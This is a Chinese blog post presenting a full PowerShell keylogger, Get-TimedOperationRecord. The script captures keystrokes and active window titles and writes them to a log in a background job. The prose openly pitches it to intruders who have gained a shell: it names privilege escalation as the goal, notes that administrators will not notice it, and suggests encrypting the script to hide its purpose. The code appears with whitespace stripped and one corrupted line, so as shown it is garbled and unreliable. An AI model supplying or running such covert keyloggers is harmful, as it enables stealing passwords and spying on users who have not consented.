PowerShell小技巧之定时记录操作系统行为
作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。
可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:
=====文件名:Get-TimedOperationRecord.ps1===== functionGet-TimedOperationRecord{ <# Author:fuhj(powershell#live.cn,http://fuhaijun.com) Logskeyspressed,timeandtheactivewindow. .ParameterLogPath Specifiesthepathwherepressedkeydetailswillbelogged.Bydefault,keystrokeareloggedto'$($Env:TEMP)\key.log'. .ParameterCollectionInterval Specifiestheintervalinminutestocapturekeystrokes.Bydefaultkeystrokearecapturedindefinitely. .Example Get-TimedOperationRecord-LogPathC:\key.log .Example Get-TimedOperationRecord-CollectionInterval20 #> [CmdletBinding()]Param( [Parameter(Position=0)] [ValidateScript({Test-Path(Resolve-Path(Split-Path-Parent$_))-PathTypeContainer})] [String] $LogPath="$($Env:TEMP)\key.log",
[Parameter(Position=1)] [UInt32] $CollectionInterval )
$LogPath=Join-Path(Resolve-Path(Split-Path-Parent$LogPath))(Split-Path-Leaf$LogPath)
Write-Verbose"Loggingkeystrokesto$LogPath"
$Initilizer={ $LogPath='REPLACEME'
'"TypedKey","Time","WindowTitle"'|Out-File-FilePath$LogPath-Encodingunicode
functionKeyLog{ [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')|Out-Null
try { $ImportDll=[User32] } catch { $DynAssembly=New-ObjectSystem.Reflection.AssemblyName('Win32Lib') $AssemblyBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly,[Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder=$AssemblyBuilder.DefineDynamicModule('Win32Lib',$False) $TypeBuilder=$ModuleBuilder.DefineType('User32','Public,Class')
$DllImportConstructor=[Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $FieldArray=[Reflection.FieldInfo[]]@( [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') )
$PInvokeMethod=$TypeBuilder.DefineMethod('GetAsyncKeyState','Public,Static',[Int16],[Type[]]@([Windows.Forms.Keys])) $FieldValueArray=[Object[]]@( 'GetAsyncKeyState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute=New-ObjectReflection.Emit.CustomAttributeBuilder($DllImportConstructor,@('user32.dll'),$FieldArray,$FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod=$TypeBuilder.DefineMethod('GetKeyboardState','Public,Static',[Int32],[Type[]]@([Byte[]])) $FieldValueArray=[Object[]]@( 'GetKeyboardState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute=New-ObjectReflection.Emit.CustomAttributeBuilder($DllImportConstructor,@('user32.dll'),$FieldArray,$FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod=$TypeBuilder.DefineMethod('MapVirtualKey','Public,Static',[Int32],[Type[]]@([Int32],[Int32])) $FieldValueArray=[Object[]]@( 'MapVirtualKey', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute=New-ObjectReflection.Emit.CustomAttributeBuilder($DllImportConstructor,@('user32.dll'),$FieldArray,$FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PIn$PInvokeMethod=$TypeBuilder.DefineMethod('ToUnicode','Public,Static',[Int32], [Type[]]@([UInt32],[UInt32],[Byte[]],[Text.StringBuilder],[Int32],[UInt32])) $FieldValueArray=[Object[]]@( 'ToUnicode', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute=New-ObjectReflection.Emit.CustomAttributeBuilder($DllImportConstructor,@('user32.dll'),$FieldArray,$FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod=$TypeBuilder.DefineMethod('GetForegroundWindow','Public,Static',[IntPtr],[Type[]]@()) $FieldValueArray=[Object[]]@( 'GetForegroundWindow', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute=New-ObjectReflection.Emit.CustomAttributeBuilder($DllImportConstructor,@('user32.dll'),$FieldArray,$FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute)
$ImportDll=$TypeBuilder.CreateType() }
Start-Sleep-Milliseconds40
try {
#loopthroughtypeablecharacterstoseewhichispressed for($TypeableChar=1;$TypeableChar-le254;$TypeableChar++) { $VirtualKey=$TypeableChar $KeyResult=$ImportDll::GetAsyncKeyState($VirtualKey)
#ifthekeyispressed if(($KeyResult-band0x8000)-eq0x8000) {
#checkforkeysnotmappedbyvirtualkeyboard $LeftShift =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey)-band0x8000)-eq0x8000 $RightShift =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey)-band0x8000)-eq0x8000 $LeftCtrl =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey)-band0x8000)-eq0x8000 $RightCtrl =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey)-band0x8000)-eq0x8000 $LeftAlt =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu)-band0x8000)-eq0x8000 $RightAlt =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu)-band0x8000)-eq0x8000 $TabKey =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab)-band0x8000)-eq0x8000 $SpaceBar =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space)-band0x8000)-eq0x8000 $DeleteKey =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete)-band0x8000)-eq0x8000 $EnterKey =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return)-band0x8000)-eq0x8000 $BackSpaceKey=($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back)-band0x8000)-eq0x8000 $LeftArrow =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left)-band0x8000)-eq0x8000 $RightArrow =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right)-band0x8000)-eq0x8000 $UpArrow =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up)-band0x8000)-eq0x8000 $DownArrow =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down)-band0x8000)-eq0x8000 $LeftMouse =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton)-band0x8000)-eq0x8000 $RightMouse =($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton)-band0x8000)-eq0x8000
if($LeftShift-or$RightShift){$LogOutput+='[Shift]'} if($LeftCtrl -or$RightCtrl) {$LogOutput+='[Ctrl]'} if($LeftAlt -or$RightAlt) {$LogOutput+='[Alt]'} if($TabKey) {$LogOutput+='[Tab]'} if($SpaceBar) {$LogOutput+='[SpaceBar]'} if($DeleteKey) {$LogOutput+='[Delete]'} if($EnterKey) {$LogOutput+='[Enter]'} if($BackSpaceKey){$LogOutput+='[Backspace]'} if($LeftArrow) {$LogOutput+='[LeftArrow]'} if($RightArrow) {$LogOutput+='[RightArrow]'} if($UpArrow) {$LogOutput+='[UpArrow]'} if($DownArrow) {$LogOutput+='[DownArrow]'} if($LeftMouse) {$LogOutput+='[LeftMouse]'} if($RightMouse) {$LogOutput+='[RightMouse]'}
#checkforcapslock if([Console]::CapsLock){$LogOutput+='[CapsLock]'}
$MappedKey=$ImportDll::MapVirtualKey($VirtualKey,3) $KeyboardState=New-ObjectByte[]256 $CheckKeyboardState=$ImportDll::GetKeyboardState($KeyboardState)
#createastringbuilderobject $StringBuilder=New-Object-TypeNameSystem.Text.StringBuilder; $UnicodeKey=$ImportDll::ToUnicode($VirtualKey,$MappedKey,$KeyboardState,$StringBuilder,$StringBuilder.Capacity,0)
#converttypedcharacters if($UnicodeKey-gt0){ $TypedCharacter=$StringBuilder.ToString() $LogOutput+=('['+$TypedCharacter+']') }
#getthetitleoftheforegroundwindow $TopWindow=$ImportDll::GetForegroundWindow() $WindowTitle=(Get-Process|Where-Object{$_.MainWindowHandle-eq$TopWindow}).MainWindowTitle
#getthecurrentDTG $TimeStamp=(Get-Date-Formatdd/MM/yyyy:HH:mm:ss:ff)
#Createacustomobjecttostoreresults $ObjectProperties=@{'KeyTyped'=$LogOutput; 'WindowTitle'=$WindowTitle; 'Time'=$TimeStamp} $ResultsObject=New-Object-TypeNamePSObject-Property$ObjectProperties $CSVEntry=($ResultsObject|ConvertTo-Csv-NoTypeInformation)[1] #returnresults Out-File-FilePath$LogPath-Append-InputObject$CSVEntry-Encodingunicode
} } } catch{} } }
$Initilizer=[ScriptBlock]::Create(($Initilizer-replace'REPLACEME',$LogPath))
Start-Job-InitializationScript$Initilizer-ScriptBlock{for(;;){Keylog}}-NameKeylogger|Out-Null
if($PSBoundParameters['CollectionInterval']) { $Timer=New-ObjectTimers.Timer($CollectionInterval*60*1000)
Register-ObjectEvent-InputObject$Timer-EventNameElapsed-SourceIdentifierElapsedAction-Action{ Stop-Job-NameKeylogger Unregister-Event-SourceIdentifierElapsedAction $Sender.Stop() }|Out-Null } }